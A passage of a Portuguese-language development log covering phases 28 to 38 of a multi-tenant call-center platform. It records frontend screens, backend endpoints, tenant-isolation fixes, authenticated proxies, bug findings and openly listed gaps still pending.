resultado: limpo).
|
||
- [x] **Portas sensíveis (secao 184)** conferidas depois do reboot da VM:
|
||
Postgres (5432) e Redis (6379) só em `127.0.0.1`, Event Socket
|
||
(8021) não publicado no host, `apps/api` (3000) só em `127.0.0.1`.
|
||
Único listener em todas as interfaces é o `apps/frontend` (3001, dev
|
||
server) — necessário pra o usuário testar de fora da VM; token de
|
||
acesso nunca chega no browser (arquitetura desde a PHASE 23), então
|
||
isso não expõe a API real.
|
||
- [x] **Testes de regressão (secao 202)** re-executados do zero pós-reboot
|
||
pra confirmar que nada quebrou: `test:isolation` (RLS multi-tenant),
|
||
`test:auth` (login/RBAC/refresh rotation/logout), `packages/billing`
|
||
(RatingEngine, 17 casos) — todos verdes.
|
||
- [x] Frontend > Relatórios (secao 157-160, 119): 4 páginas novas —
|
||
`/app/relatorios/{filas,agentes,campanhas,ia}` — cada uma sua
|
||
própria rota (não abas de uma página só: 4 itens de menu apontando
|
||
pro mesmo `href` fariam a sidebar realçar os 4 ao mesmo tempo, ver
|
||
`components/shell/nav-list.tsx`). Reusa os endpoints que já existiam
|
||
desde a PHASE 17/21 (`GET /reports/{queues,agents,campaigns,ai-
|
||
dashboard}`), nenhum endpoint novo. Últimos 30 dias fixo, sem
|
||
seletor de período ainda (decisão deliberada, documentada na
|
||
própria tela).
|
||
- [x] Menu Tenant: "Relatórios > Agentes/Filas/Campanhas" e "IA >
|
||
Análises" saem de "em breve"; "Relatórios > Chamadas/Consumo" e o
|
||
resto do menu IA continuam pendentes.
|
||
- [x] Testado ponta a ponta contra a API real (tenant Acme, ainda sem
|
||
chamadas reais) — as 4 telas renderizam os estados vazios corretos
|
||
(honestos: `0` quando é contagem real, traço fantasma com
|
||
explicação quando é média sem dado), título/descrição da topbar
|
||
resolvidos corretamente por rota (sem a ambiguidade que teria dado
|
||
se as 4 dividissem um `href`).
|
||
- [ ] **Escopo real ainda faltando pra "aplicação finalizada" segundo o
|
||
agente.md completo** (236 seções) — não coberto nesta fase, listado
|
||
explicitamente em vez de fingir completo:
|
||
- Monitoramento em tempo real (secao 54-55, 161) — WebSocket já
|
||
existe no backend (`RealtimeGateway`), zero cliente no frontend.
|
||
- Gravações (player de áudio, secao 121) e IA > Scorecards/Prompts/
|
||
Configurações (CRUD, secao 114-118) — backend pronto, zero UI.
|
||
- Relatórios > Chamadas (lista filtrável) e > Consumo (dashboard de
|
||
quotas, secao 139) — sem tela ainda.
|
||
- Menu Platform: Clientes/Infraestrutura/Sistema inteiros "em
|
||
breve" (só Billing > Tarifas e o dashboard existem).
|
||
- "Itens sem permissão não aparecem" (secao 169) nunca foi aplicado
|
||
— lacuna conhecida desde a PHASE 24.
|
||
- Nenhuma bateria de teste automatizado de frontend (E2E/component)
|
||
existe — toda verificação até aqui foi manual via Puppeteer +
|
||
screenshot, sessão a sessão.
|
||
- `apps/api`/`apps/frontend` continuam sem supervisor de processo
|
||
(ver "Riscos conhecidos") — não sobrevivem a um reboot sozinhos.
|
||
- nginx / TLS / domínio público (PHASE 01, pendência original)
|
||
continuam sem existir — o acesso de teste é direto na porta 3001
|
||
da VM, sem HTTPS.
|
||
|
||
## PHASE 29 — Frontend: Call Center > Agentes, Telefonia > Dialplan
|
||
(agente.md secao 45, 43-44)
|
||
- [x] **Lacuna de backend fechada primeiro**: `GET /users` (novo,
|
||
`apps/api/src/users/`) — lista os usuários do tenant ativo via
|
||
`TenantMembership` (join, mesma tabela/RLS já usada em
|
||
`listUserTenants`), gated por `users.manage` (não `agents.manage`
|
||
de propósito: listar identidade de login é administração de
|
||
usuário, não de call center — um supervisor com `agents.manage` mas
|
||
sem `users.manage` gerencia agentes já provisionados, mas não lista
|
||
usuários pra criar um novo). Só o necessário pra desbloquear o
|
||
seletor de Agentes; convite/criação de usuário continua só via
|
||
script.
|
||
- [x] Call Center > Agentes (`/app/callcenter/agentes`): criar (usuário +
|
||
nome + ramal opcional + máx. não-atendidas + pós-atendimento),
|
||
listar (usuário/e-mail, ramal, estado), remover (soft delete). O
|
||
seletor de usuário só mostra quem ainda não é agente (filtro
|
||
client-side, backend segue sendo a autoridade); ramal segue a mesma
|
||
lógica. Estado do agente (`AgentState`) tem badge própria — **não**
|
||
reusa `StatusBadge`: `PAUSED` já existe nesse mapa global pro
|
||
status de campanha ("Pausada"), reaproveitar mostraria o texto
|
||
errado pra um agente em pausa.
|
||
- [x] Telefonia > Dialplan (`/app/telefonia/dialplan`): editor estruturado
|
||
do contexto `default` (fixo nesta primeira versão — todo o sistema
|
||
só usou um contexto até aqui) — criar regra (nome, campo/expressão
|
||
da condição, lista dinâmica de ações com a mesma allowlist do
|
||
backend, ordem, continuar-se-falhar), listar em ordem de avaliação,
|
||
remover. Painel de Versões: gerar rascunho a partir das regras
|
||
atuais, ativar (reativar uma versão antiga é o rollback, sem
|
||
endpoint separado — mesmo texto já usado no backend). `ACTIVE`/
|
||
`SUPERSEDED` novos no mapa de `StatusBadge`; `DRAFT` reusa o rótulo
|
||
que já existia pra campanha (mesmo conceito, sem conflito).
|
||
- [x] Testado ponta a ponta contra a API real (tenant Acme): Agentes —
|
||
criar agente ligado ao próprio usuário logado (único usuário do
|
||
tenant neste estágio) → aparece na lista com estado `Offline` →
|
||
remover → volta vazio, botão "Novo agente" reabilitado. Dialplan —
|
||
criar regra `destination_number ~ ^1[0-9]{3}$` com ação
|
||
`bridge(${destination_number})` → gerar v1 (DRAFT) → ativar → badge
|
||
"Ativa" confirmado. Smoke test de regressão nas 13 telas anteriores
|
||
do tenant + platform, todas 200 sem quebrar nada.
|
||
- [x] **Bug real de segurança, achado numa revisão dedicada depois desta
|
||
fase (PHASE 31)**: `POST /agents` nunca verificava que
|
||
`dto.userId`/`dto.extensionId` pertencem ao tenant de quem está
|
||
chamando — um FK do Postgres só checa que a linha existe, não que
|
||
ela é visível sob a RLS da sessão atual, então um `userId`/
|
||
`extensionId` de **outro tenant** seria aceito silenciosamente
|
||
(secao 31/146: nunca confiar em id vindo do client sem checar
|
||
contra o tenant do JWT — o frontend já só oferece opções do próprio
|
||
tenant, mas isso é conveniência de UI, o backend é a autoridade).
|
||
Corrigido com uma checagem explícita de `TenantMembership`/
|
||
`Extension` antes do create, 400 se não pertencer. Impacto prático
|
||
limitado (precisaria adivinhar um UUID de outro tenant, e o agente
|
||
criado ficaria órfão/inerte — o usuário referenciado nunca teria
|
||
`tenantId` ativo igual ao do agente sem ter membership de verdade),
|
||
mas corrigido de qualquer forma por princípio arquitetural.
|
||
Reverificado ponta a ponta depois da correção: criação legítima
|
||
continua funcionando igual.
|
||
- [ ] Sem paginação/uniqueness real em `Agent.userId`/`extensionId` — o
|
||
"só quem não é agente ainda" é conveniência de UI, não constraint de
|
||
banco (mesma classe de lacuna sistêmica da PHASE 12, `@@unique` +
|
||
soft delete)
|
||
- [ ] Dialplan: só 1 contexto (`default`), sem editor de `antiActions`,
|
||
sem reordenar por drag-and-drop (edita `order` como número) — todas
|
||
decisões deliberadas de escopo, mesmas simplificações já existentes
|
||
no backend desde a PHASE 10
|
||
|
||
## PHASE 30 — Frontend: Relatórios > Chamadas, Gravações
|
||
(agente.md secao 90-94, 121, 157)
|
||
- [x] Relatórios > Chamadas (`/app/relatorios/chamadas`): lista das
|
||
últimas 500 chamadas dos últimos 30 dias, nomes de fila/agente/
|
||
campanha/disposição resolvidos client-side (mesmo padrão de
|
||
Campanhas/Bloqueio), busca por telefone. Só o filtro de telefone
|
||
desta primeira versão — o backend já aceita ramal/agente/fila/
|
||
campanha/tronco/hangup cause/disposição, sem UI pra eles ainda.
|
||
- [x] Gravações (`/app/gravacoes`): lista + player de áudio + download.
|
||
**Achado de arquitetura, resolvido antes de codar**: `<audio
|
||
src>`/`<a download>` do browser não mandam `Authorization: Bearer
|
||
...` (só cookie), e a API deliberadamente nunca expõe o storage por
|
||
URL direta (secao 121) — criado um proxy autenticado
|
||
(`/api/recordings/[id]/audio`, Route Handler) que lê o cookie de
|
||
sessão, refaz a chamada real pra `apps/api` com o access token do
|
||
lado do servidor, e reencaminha o stream; troca
|
||
`Content-Disposition: attachment` (da API) por `inline` (pro player
|
||
tocar em vez de forçar download) — quem quiser baixar usa o
|
||
atributo `download` do `<a>`, mesma origem, ignora o header do
|
||
servidor. Mesmo princípio de `apiFetch`: token nunca chega em JS
|
||
legível no browser.
|
||
- [x] Testado ponta a ponta contra a API real (tenant Acme): as duas
|
||
telas renderizam estado vazio honesto (nenhuma chamada/gravação
|
||
real neste tenant ainda — precisa de uma campanha rodando de
|
||
verdade); proxy de áudio confirmado devolvendo 401 sem cookie de
|
||
sessão. Smoke test de regressão nas 15 telas anteriores do tenant +
|
||
platform, todas 200.
|
||
- [ ] **Nunca exercitado**: o proxy de áudio contra uma gravação real
|
||
(nenhuma foi gerada nesta sessão — precisa de uma campanha com
|
||
`recordingEnabled=true` rodando via `PredictiveDialerEngine` de
|
||
verdade, como na PHASE 18, não reproduzido aqui por tempo).
|
||
Comportamento de `<audio>`/download nunca visto num browser de
|
||
verdade com um WAV real tocando.
|
||
- [ ] Relatórios > Chamadas: sem os outros filtros (ramal/agente/fila/
|
||
campanha/tronco/hangup cause/disposição) nem seletor de período —
|
||
só telefone
|
||
- [ ] Relatórios > Consumo (dashboard de quotas, secao 139) — ainda "em
|
||
breve"
|
||
|
||
## PHASE 31 — Frontend: IA > Scorecards, Prompts, Configurações
|
||
(agente.md secao 96-103, 114-118)
|
||
- [x] IA > Scorecards (`/app/ia/scorecards`): criar (nome + lista dinâmica
|
||
de critérios com peso, mesmo padrão de array dinâmico do Dialplan),
|
||
listar em cards (um por scorecard, itens com badge de peso),
|
||
remover.
|
||
- [x] IA > Prompts (`/app/ia/prompts`): criar template (finalidade
|
||
Análise/Scorecard + conteúdo v1), listar com o conteúdo da versão
|
||
ativa visível. "Editar" o conteúdo dispara `POST .../versions` +
|
||
`POST .../versions/:id/activate` numa ação só (create-então-ativa) —
|
||
não existe endpoint pra listar o histórico de versões, então a UI
|
||
não finge ter uma linha do tempo que não dá pra buscar; só o
|
||
conteúdo ativo é mostrado. Templates `Global` (da plataforma,
|
||
`tenantId=null`, RLS híbrida já resolve a união sem filtro no
|
||
client) aparecem mas sem botão de editar — só quem tem role de
|
||
plataforma pode alterar, e o backend rejeitaria com 403 mesmo que
|
||
o botão existisse.
|
||
- [x] IA > Configurações (`/app/ia/configuracoes`): providers (BYOK,
|
||
`scope: "TENANT"` sempre — a tela nem oferece GLOBAL, que já é
|
||
exclusivo de platform admin no backend) e modelos (referenciando um
|
||
provider, capacidades via checkboxes). Chave de API só aparece como
|
||
preview (`...xxxxxxxx`) mesmo na resposta de criação — nunca
|
||
reexibida em texto puro, nem uma vez (diferente do padrão "revela
|
||
uma vez" de Ramais; aqui a API nunca devolve o valor puro, ponto).
|
||
- [x] `Textarea` novo em `components/ui/input.tsx` (mesmo estilo de
|
||
`Input`/`Select`) — primeira tela que precisa de texto longo
|
||
(conteúdo de prompt).
|
||
- [x] Testado ponta a ponta contra a API real (tenant Acme): scorecard
|
||
"Atendimento" com critério "Saudação" criado e listado; template
|
||
"Análise padrão" criado (v1) → editado → v2 ativada e refletida na
|
||
tela; provider "OpenAI da Acme" (BYOK) criado com preview de chave
|
||
mascarada → modelo "GPT-4o mini" criado referenciando o provider,
|
||
com capacidade "Transcrição". Smoke test de regressão nas 16 telas
|
||
anteriores do tenant + platform, todas 200.
|
||
- [ ] Scorecards: sem edição de critérios existentes (só criar scorecard
|
||
inteiro ou remover) — mesma limitação de "só create/list/delete"
|
||
já documentada em outras telas simples
|
||
- [ ] IA > Configurações não distingue custo por modelo (`inputCost`/
|
||
`outputCost`/`audioCost` existem no backend, sem campo no form) —
|
||
decisão de escopo pra manter o formulário enxuto nesta primeira
|
||
versão
|
||
|
||
## PHASE 32 — Frontend: Monitoramento em tempo real
|
||
(agente.md secao 54-55, 161)
|
||
- [x] **Achado de arquitetura, resolvido antes de codar**: o
|
||
`RealtimeGateway` (backend, já existia desde a PHASE 13) autentica a
|
||
conexão socket.io via `auth.token` no handshake — um JWT bruto. Um
|
||
`EventSource`/`WebSocket` do browser não tem como mandar esse token
|
||
sem ele passar por JS legível no client, quebrando o mesmo princípio
|
||
seguido em todo o resto do frontend (o access token só existe no
|
||
cookie httpOnly). Resolvido com um proxy: `apps/frontend/src/app/
|
||
api/monitoring/stream/route.ts` roda no servidor (runtime Node.js),
|
||
conecta no socket.io real com o access token do lado do servidor
|
||
(`socket.io-client`, dependência nova só usada aqui), e reencaminha
|
||
cada evento pro browser como Server-Sent Events — o `EventSource` do
|
||
client só precisa do cookie de sessão (same-origin, automático),
|
||
nunca do token. Como bônus, elimina qualquer necessidade de mexer em
|
||
`CORS_ORIGIN` (a conexão socket.io real é servidor-servidor, nunca
|
||
passa pelo browser).
|
||
- [x] `/app/monitoramento`: badge de conexão (Conectando/Ao vivo/
|
||
Reconectando), 3 contadores de sessão (chamadas criadas/atendidas/
|
||
encerradas, zeram a cada reload — não são um total histórico),
|
||
grade de filas ao vivo (contagem de espera via `QUEUE_MEMBER_COUNT`,
|
||
traço fantasma até o primeiro evento — sem endpoint de "contagem
|
||
atual" pra semear um valor inicial), lista de agentes com estado ao
|
||
vivo (semeada do `GET /agents` inicial, atualizada via
|
||
`AGENT_STATE_CHANGED`), e feed dos últimos 50 eventos com descrição
|
||
legível por tipo.
|
||
- [x] Menu Tenant: "Monitoramento" deixa de ter 5 sub-itens placeholder
|
||
(Campanhas/Filas/Agentes/Ramais/Troncos) e vira 1 link direto — o
|
||
painel novo já cobre filas+agentes+eventos gerais numa página só;
|
||
abrir em 5 rotas separadas duplicaria a conexão SSE sem necessidade
|
||
real (mesma decisão já tomada nas Relatórios: 1 `href` por item de
|
||
menu, nunca vários apontando pro mesmo lugar).
|
||
- [x] `agent`/`queue` do mod_callcenter chegam como `"<id>@<domain>"`
|
||
(secao 45, 50) — `stripDomain()` novo em `lib/realtime-types.ts`
|
||
separa o id antes de resolver nome; `AGENT_STATE_CHANGED` (publicado
|
||
pela própria API, não pelo FreeSWITCH) já vem com `agentId` cru, sem
|
||
sufixo.
|
||
- [x] Testado ponta a ponta contra o pipeline real (não simulado): um
|
||
cliente socket.io cru confirmou primeiro que a API já entrega o
|
||
evento certo (`AGENT_STATE_CHANGED`) ao vivo; a mesma verificação
|
||
via `curl -N` direto no proxy SSE confirmou o reencaminhamento;
|
||
depois, com a página `/app/monitoramento` aberta de verdade num
|
||
browser (Puppeteer), disparado `POST /agents/me/login` e
|
||
`/logout` por fora — o badge do agente mudou de Offline pra
|
||
"Disponível" e voltou, e os dois eventos apareceram no feed ao
|
||
vivo, tudo em tempo real sem recarregar a página. Smoke test de
|
||
regressão nas 19 telas anteriores do tenant + platform, todas 200
|
||
(a rota de monitoramento mantém uma conexão aberta de propósito,
|
||
então usa `domcontentloaded` em vez de `networkidle0` no teste).
|
||
- [ ] Sem reconciliação/snapshot ao conectar (secao 55: "estado inicial
|
||
completo, não só eventos a partir de agora") — filas começam sem
|
||
dado até o primeiro `QUEUE_MEMBER_COUNT`; agentes começam certos
|
||
porque semeiam do `GET /agents` inicial, mas filas não têm
|
||
equivalente (nenhum endpoint retorna "contagem atual" fora do
|
||
próprio stream de eventos)
|
||
- [ ] Sem monitoramento de ramais (registro/busy, secao 55 completa) nem
|
||
de campanhas/troncos em tempo real — cobertos só pelos relatórios
|
||
de período, não por esta tela
|
||
- [ ] Reconexão do `EventSource` é o comportamento padrão do browser
|
||
(tenta de novo sozinho); o lado do servidor limita a 5 tentativas de
|
||
reconexão do socket.io real antes de fechar o stream, mas não há
|
||
backoff exponencial nem um teste de queda de rede prolongada
|
||
|
||
## PHASE 33 — Platform: Clientes > Tenants e Planos (CRUD real, backend
|
||
novo) (agente.md secao 29, 56, 126, 141, 168)
|
||
- [x] **Lacuna de backend fechada primeiro**: não existia NENHUM endpoint
|
||
pra criar/listar/editar tenant nem plano até aqui — só via script/
|
||
seed ad hoc (a própria Acme foi criada assim numa sessão anterior,
|
||
sem deixar rastro reproduzível). Dois controllers novos:
|
||
`TenantsController` (`/tenants`, `tenants.manage`/`.view`) e
|
||
`PlansController` (`/plans`, `pricing.manage`), ambos platform-only
|
||
(`isPlatformUser`, mesmo padrão de billing).
|
||
- [x] `POST /tenants` cria o tenant **e** o primeiro usuário (Tenant
|
||
Admin) numa transação só (secao 141: sem esse usuário o tenant fica
|
||
inacessível) — `Tenant.create` + `User.create` + `TenantMembership`
|
||
+ `UserRole(tenant_admin)`, senha gerada
|
||
(`generateStrongPassword`) e devolvida em texto puro só nesta
|
||
resposta (mesmo padrão de "revela uma vez" de Ramais/SIP).
|
||
`telephonyDomain` fixo em `b2bcall.local` (decisão já tomada na
|
||
PHASE 08 — sem multi-domínio real ainda).
|
||
- [x] **Bug real, achado testando o próprio endpoint antes de expor no
|
||
frontend**: `GET /tenants` calculava `memberCount` com
|
||
`tenantMembership.groupBy` numa query sem contexto de tenant
|
||
nenhum — `tenant_memberships` tem FORCE RLS (secao 32), então
|
||
**nem platform admin** enxerga uma linha sequer sem
|
||
`app.current_tenant_id` setado; o campo sempre voltava `0`.
|
||
Corrigido abrindo o contexto de RLS de cada tenant um de cada vez
|
||
(`Promise.all` de `withTenantContext` por tenant) — aceitável numa
|
||
tela de administração, não é hot path.
|
||
- [x] Frontend: `/platform/clientes/tenants` (lista com busca, badge de
|
||
status próprio — não reusa `StatusBadge`, mesma cautela de gênero
|
||
já aplicada em `AgentStateBadge`: "Ativo" de tenant não é "Ativa"
|
||
de campanha), `/tenants/new` (cria tenant+admin, revela senha
|
||
temporária uma vez), `/tenants/:id` (troca status/plano, mostra os
|
||
limites do plano selecionado ao vivo antes de salvar).
|
||
`/platform/clientes/planos` (cards com todos os limites, criar e
|
||
editar inline — campo de limite em branco = sem limite, nunca
|
||
zero).
|
||
- [x] Testado ponta a ponta contra a API real: criado plano "Profissional"
|
||
(50 ramais/agentes, resto sem limite) → criado tenant "Beta Corp
|
||
Telecom LTDA" com admin `admin@beta.b2bcall.local`, senha revelada
|
||
uma vez → detalhe do tenant → trocado plano pra "Profissional" →
|
||
salvo → confirmado via API que persistiu (`GET /tenants/:id`
|
||
retornando o plano novo). Smoke test de regressão nas 19 telas do
|
||
tenant + tarifas, todas 200.
|
||
- [ ] "Clientes > Assinaturas" e "> Quotas" continuam "em breve" —
|
||
`SubscriptionsController`/`PlanVersionsController` já existem
|
||
(PHASE 22) mas sem tela; Quotas ficou parcialmente coberta pelos
|
||
limites do plano já visíveis no detalhe do tenant, sem uma tela
|
||
dedicada de consumo-vs-limite ainda
|
||
(esperando **Billing > Consumo**, que depende do mesmo seletor de
|
||
tenant)
|
||
- [ ] Sem exclusão/soft-delete de tenant nem de plano pela UI (só
|
||
suspender via status) — decisão deliberada, mesma cautela de
|
||
qualquer ação destrutiva em dado de cliente real
|
||
- [ ] `Plan.key` não pode ser editado depois de criado (só os limites) —
|
||
não implementado, `key` normalmente não deveria mudar mesmo
|
||
|
||
## PHASE 34 — Platform: Sistema > Usuários/Auditoria, Infraestrutura >
|
||
Saúde (agente.md secao 148, 150-151, 168, 187)
|
||
- [x] `GET /platform/users` (novo) — lista TODOS os usuários da
|
||
plataforma, cross-tenant; `users` não tem RLS (identidade global,
|
||
secao 148), consulta direta sem `withTenantContext`.
|
||
`PATCH /platform/users/:id/status` desabilita/reativa (`login()`
|
||
já checava `status === "ACTIVE"` desde a PHASE 04 — o toggle tem
|
||
efeito real, não é só cosmético). Botão desabilitado na UI pra
|
||
qualquer usuário com role de plataforma, de propósito (evita se
|
||
trancar fora sem querer).
|
||
- [x] `GET /platform/audit-log` (novo) — últimos 200 eventos de
|
||
`audit_logs` (também sem RLS, linha imutável precisa sobreviver ao
|
||
tenant), nomes de usuário/tenant resolvidos numa segunda consulta
|
||
em lote.
|
||
- [x] `GET /platform/health` (novo) — Postgres/Redis (reusa a mesma
|
||
lógica de `/health/ready`) + FreeSWITCH via uma conexão ESL avulsa
|
||
(connect → espera até 2.5s → desconecta, sem manter estado — `apps/
|
||
api` não tem uma conexão ESL permanente como fs-events/fs-config).
|
||
- [x] **Achado de arquitetura, não um bug**: o check de FreeSWITCH
|
||
**sempre falha** neste ambiente — `apps/api` roda no host, e a
|
||
porta 8021 (Event Socket) é deliberadamente não publicada pro host
|
||
(secao 184, decisão da PHASE 01/05). Confirmado com `nc -zv
|
||
localhost 8021` → connection refused, apesar do container
|
||
`b2bcall-freeswitch` estar `healthy`. Documentado explicitamente na
|
||
própria tela (`/platform/infraestrutura/saude`) em vez de deixar
|
||
parecer que algo está quebrado — os serviços que falam com o
|
||
FreeSWITCH de verdade (fs-events/fs-config/predictive-dialer) rodam
|
||
dentro da rede Docker e não têm esse problema.
|
||
- [x] Frontend: `/platform/sistema/usuarios` (lista+busca+toggle),
|
||
`/platform/sistema/auditoria` (lista+busca, somente leitura),
|
||
`/platform/infraestrutura/saude` (3 cards com latência + botão
|
||
"verificar de novo").
|
||
- [x] Testado ponta a ponta contra a API real: os 3 usuários reais da
|
||
plataforma (Beta Corp, Acme, Platform Super Admin) listados
|
||
corretamente com tipo/status certos; audit log mostrando eventos
|
||
reais (LOGIN, LOGIN_FAILED, TENANT_CREATE) desta própria sessão de
|
||
testes, inclusive uma referência órfã a um usuário apagado numa
|
||
sessão anterior (fallback pro UUID cru confirmado, comportamento
|
||
correto de audit trail imutável); saúde mostrando Postgres/Redis OK
|
||
e FreeSWITCH "Falhou" com a explicação certa. Smoke test de
|
||
regressão nas 19 telas do tenant + tarifas, todas 200.
|
||
- [ ] "Sistema > Permissões" e "> Configurações" continuam "em breve" —
|
||
Permissões teria só leitura útil por ora (RBAC é system-defined,
|
||
sem UI de criar role customizada ainda); Configurações nunca teve
|
||
escopo definido na especificação além do nome
|
||
- [ ] "Infraestrutura > FreeSWITCH/SIP Profiles/Nodes" continuam "em
|
||
breve" — precisam de introspecção real via ESL
|
||
(`getChannels`/`getRegistrations`/`getGateways`/`getQueues` da
|
||
`TelephonyProvider`, todos tipados como `unknown` ainda) exposta
|
||
por endpoint; mais arriscado que o check de saúde (conexão avulsa
|
||
× dado estruturado de verdade), não tentado nesta fase
|
||
- [ ] "IA > Providers/Modelos/Uso/Custos" (visão de plataforma) continuam
|
||
"em breve" — o tenant já tem BYOK completo (PHASE 31); a versão
|
||
platform-wide (ver GLOBAL, agregar uso/custo entre tenants) não foi
|
||
construída ainda
|
||
|
||
## PHASE 35 — Platform: Billing > Fechamentos e Relatórios (agente.md
|
||
secao 134-139, 168)
|
||
- [x] **Lacuna de backend fechada primeiro**: `GET /billing/periods` e
|
||
`GET /billing/statements` só serviam o próprio tenant do JWT — sem
|
||
uso pra um platform admin escolhendo um tenant arbitrário (a mesma
|
||
exceção já resolvida em Subscriptions na PHASE 22, só não tinha
|
||
sido replicada aqui ainda). Adicionado `GET /billing/periods/by-
|
||
tenant/:tenantId` e `GET /billing/statements/by-tenant/:tenantId`
|
||
(mesmo padrão), e `GET /billing/statements/:id` ganhou um
|
||
`?tenantId=` opcional só aceito de quem tem role de plataforma
|
||
(nunca confiado sem essa checagem, secao 31).
|
||
- [x] Frontend: `/platform/billing/fechamentos` (seletor de tenant via
|
||
`?tenantId=` na própria URL — sem isso, 4 itens de menu
|
||
apontariam pro mesmo lugar; um seletor dentro da página resolve sem
|
||
duplicar rota) — lista períodos, fecha um novo (intervalo de
|
||
datas), reabre um fechado com motivo obrigatório.
|
||
`/platform/billing/relatorios` — lista statements por tenant,
|
||
detalhe com itens por categoria + subtotal/ajustes/total. Nunca
|
||
chamado de "nota fiscal" na UI (PRODUCT.md).
|
||
- [x] **Bug real, achado testando o fluxo completo**: fechar um período
|
||
de 01/08 a 31/08 mostrava "31 de jul." a "30 de ago." na tela —
|
||
meia-noite UTC de uma data-only vira o dia anterior quando
|
||
formatada no timezone local do servidor (America/Sao_Paulo,
|
||
UTC-3). `formatDate` (local) está certo pra timestamps de verdade
|
||
(criado em, gerado em), mas errado pra fronteiras de calendário.
|
||
Corrigido com `formatDateUTC` novo em `lib/format.ts`, usado só
|
||
onde o valor é uma fronteira de período, não um instante.
|
||
- Achado incidental durante a investigação (não um bug de produto):
|
||
um 404 na tela de detalhe do statement era eu mesmo esquecendo de
|
||
reiniciar `apps/api` depois de editar o `get()` do controller —
|
||
confirmado isolando com um cliente Prisma direto (achou a linha
|
||
sem problema) antes de suspeitar da camada HTTP.
|
||
- [x] Testado ponta a ponta contra a API real: fechado um período de
|
||
agosto/2026 pro tenant Acme (sem assinatura/price book atribuído
|
||
ainda, então R$ 0,00 — honesto, não um erro), aparece em
|
||
Fechamentos com as datas certas, gera um statement visível em
|
||
Relatórios, detalhe mostra 0 itens/subtotal/total corretos. Smoke
|
||
test de regressão nas 19 telas do tenant + 8 telas platform, todas
|
||
200.
|
||
- [ ] "Billing > Consumo" continua "em breve" — distinção de escopo com
|
||
"Relatórios" nunca ficou 100% clara na especificação (secao 138 vs
|
||
135); vai depender de decidir se é uma view de uso corrente
|
||
(período aberto) ou se sobrepõe com o dashboard de plataforma
|
||
- [ ] Sem exclusão de statement nem edição manual de item — statements
|
||
são gerados, nunca editados à mão (consistente com "fechamento
|
||
imutável", secao 137)
|
||
|
||
## PHASE 36 — Platform: Sistema > Permissões (agente.md secao 142-145,
|
||
168)
|
||
- [x] `GET /platform/roles` (novo) — roles do sistema com as permissions
|
||
de cada uma + catálogo completo de permissions. `roles`/
|
||
`permissions` não têm RLS (catálogo global, vem do seed). Só
|
||
leitura — RBAC é system-defined (`packages/auth/src/seed.ts`), sem
|
||
endpoint de criar/editar role customizada ainda.
|
||
- [x] Frontend: `/platform/sistema/permissoes` — um card por role (nome,
|
||
key, escopo Plataforma/Tenant, badges com cada permission) + tabela
|
||
do catálogo completo de permissions com descrição.
|
||
- [x] Testado ponta a ponta contra a API real: as 4 roles do sistema
|
||
(`platform_super_admin` 33 permissions, `tenant_admin` 30,
|
||
`supervisor` 17, `agent` 2) renderizadas corretamente com as
|
||
permissions certas. Smoke test de regressão nas 19 telas do tenant
|
||
+ 9 telas platform, todas 200.
|
||
- [ ] "Sistema > Configurações" continua "em breve" — nunca teve escopo
|
||
definido na especificação além do nome, mesma pendência já
|
||
documentada na PHASE 34
|
||
|
||
## PHASE 37 — Frontend: Administração > Usuários e Perfis (tenant)
|
||
(agente.md secao 141-145, 169)
|
||
- [x] **Lacuna de backend fechada primeiro**: `POST /users` (convidar) —
|
||
até aqui só dava pra adicionar um usuário a um tenant criando o
|
||
tenant inteiro (Platform > Clientes > Tenants) ou via script. Se o
|
||
e-mail já existe na plataforma, só adiciona `TenantMembership` +
|
||
`UserRole` (sem tocar na senha da conta existente); se não existe,
|
||
cria o `User` com senha gerada e revelada uma única vez (mesmo
|
||
padrão de `TenantsController.create`). `PATCH /users/:id/role`
|
||
troca o papel (substitui, não acumula — simplificação deliberada de
|
||
"1 papel por tenant" mesmo o schema permitindo várias `UserRole`
|
||
por par usuário/tenant).
|
||
- [x] `GET /roles` (novo, tenant-facing) — versão filtrada de `/platform/
|
||
roles` só com as roles de escopo TENANT (Tenant Admin/Supervisor/
|
||
Agente); um tenant não precisa saber que `platform_super_admin`
|
||
existe.
|
||
- [x] Frontend: `/app/administracao/usuarios` (convidar com papel,
|
||
revela senha só quando é conta nova, trocar papel de qualquer
|
||
membro exceto o próprio usuário logado — trava de segurança
|
||
deliberada contra se auto-rebaixar/trancar fora sem querer).
|
||
`/app/administracao/perfis` — cards com o que cada papel pode
|
||
fazer, só leitura, mesmo componente visual de `Sistema >
|
||
Permissões` (platform) mas com os dados filtrados certos.
|
||
- [x] Testado ponta a ponta contra a API real: convidado
|
||
`supervisor@acme.b2bcall.local` (conta nova, senha revelada) com
|
||
papel Supervisor, convidado `agente1@acme.b2bcall.local` com papel
|
||
Agente, depois trocado o papel dele pra Supervisor via `PATCH
|
||
.../role` — confirmado via `GET /users` que persistiu. Perfis
|
||
mostra as 3 roles de tenant com as permissions certas, sem
|
||
`platform_super_admin` na lista. Smoke test de regressão nas 19
|
||
telas do tenant + 10 telas platform, todas 200 (alguns timeouts de
|
||
navegação intermitentes no script de teste — reproduzidos
|
||
isoladamente como falso-positivo do harness, não da aplicação;
|
||
toda rota confirmada 200 numa reexecução limpa).
|
||
- [ ] Sem remover um usuário do tenant (só trocar papel) — sem endpoint
|
||
de "remover membership" ainda; desabilitar a conta inteira já
|
||
existe em Platform > Sistema > Usuários, mas isso afeta todos os
|
||
tenants dela, não só este
|
||
- [ ] Sem trava contra remover o último Tenant Admin de um tenant (ex.:
|
||
trocar o papel do único admin pra Agente deixaria o tenant sem
|
||
ninguém com `users.manage`) — não implementado, mesma classe de
|
||
risco documentada em outras ações administrativas desta sessão
|
||
|
||
## PHASE 38 — Infraestrutura: `apps/api`/`apps/frontend` como services
|
||
systemd (fecha um risco documentado desde a PHASE 01)
|
||
- [x] `infrastructure/systemd/b2bcall-api.service` e
|
||
`b2bcall-frontend.service` (+ `README.md` com instalação/comandos
|
||
úteis) — os dois processos de host (fora do Docker) agora
|
||
`enabled`, sobrevivem a reboot como os containers já sobreviviam
|
||
via `restart: unless-stopped`.
|
||
- [x] **Achado real, resolvido antes de instalar as units**: sem porta
|
||
fixa, `apps/api` e `apps/frontend` disputavam a 3000 por padrão —
|
||
quem perdesse a corrida crashava (`EADDRINUSE`, Nest/Fastify sem
|
||
fallback) em vez de cair pra 3001 como o Next.js faz sozinho. Fixado
|
||
`API_PORT=3000` em `.env` e `PORT=3001` via `Environment=` direto na
|
||
unit do frontend — a ordem de start deixa de importar, cada um já
|
||
nasce na porta certa.
|
||
- [x] **Achado real, descoberto testando**: `PORT=3001` em
|
||
`apps/frontend/.env.local` **não funciona** — o CLI do `next dev`
|
||
